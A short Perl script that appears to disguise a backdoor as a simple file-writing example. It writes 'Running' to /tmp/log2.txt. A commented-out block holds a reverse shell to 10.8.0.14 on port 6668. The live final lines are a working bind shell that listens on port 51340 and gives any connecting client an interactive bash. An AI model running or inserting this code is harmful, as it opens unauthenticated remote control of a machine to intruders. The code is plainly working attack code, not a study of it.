#use Socket;
#$i="10.8.0.14";
#$p=6668;



# Opening file Hello.txt in write mode
open (fh, ">", "/tmp/log2.txt");

# Getting the string to be written
# to the file from the user


# Writing to the file
print fh "Running";

# Closing the file
close(fh) or "Couldn't close the file";


#socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
#if(connect(S,sockaddr_in($p,inet_aton($i)))){
#open(STDIN,">&S");
#open(STDOUT,">&S");
#open(STDERR,">&S");
#exec("/usr/bin/bash -i");
#};


use Socket;$p=51340;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};
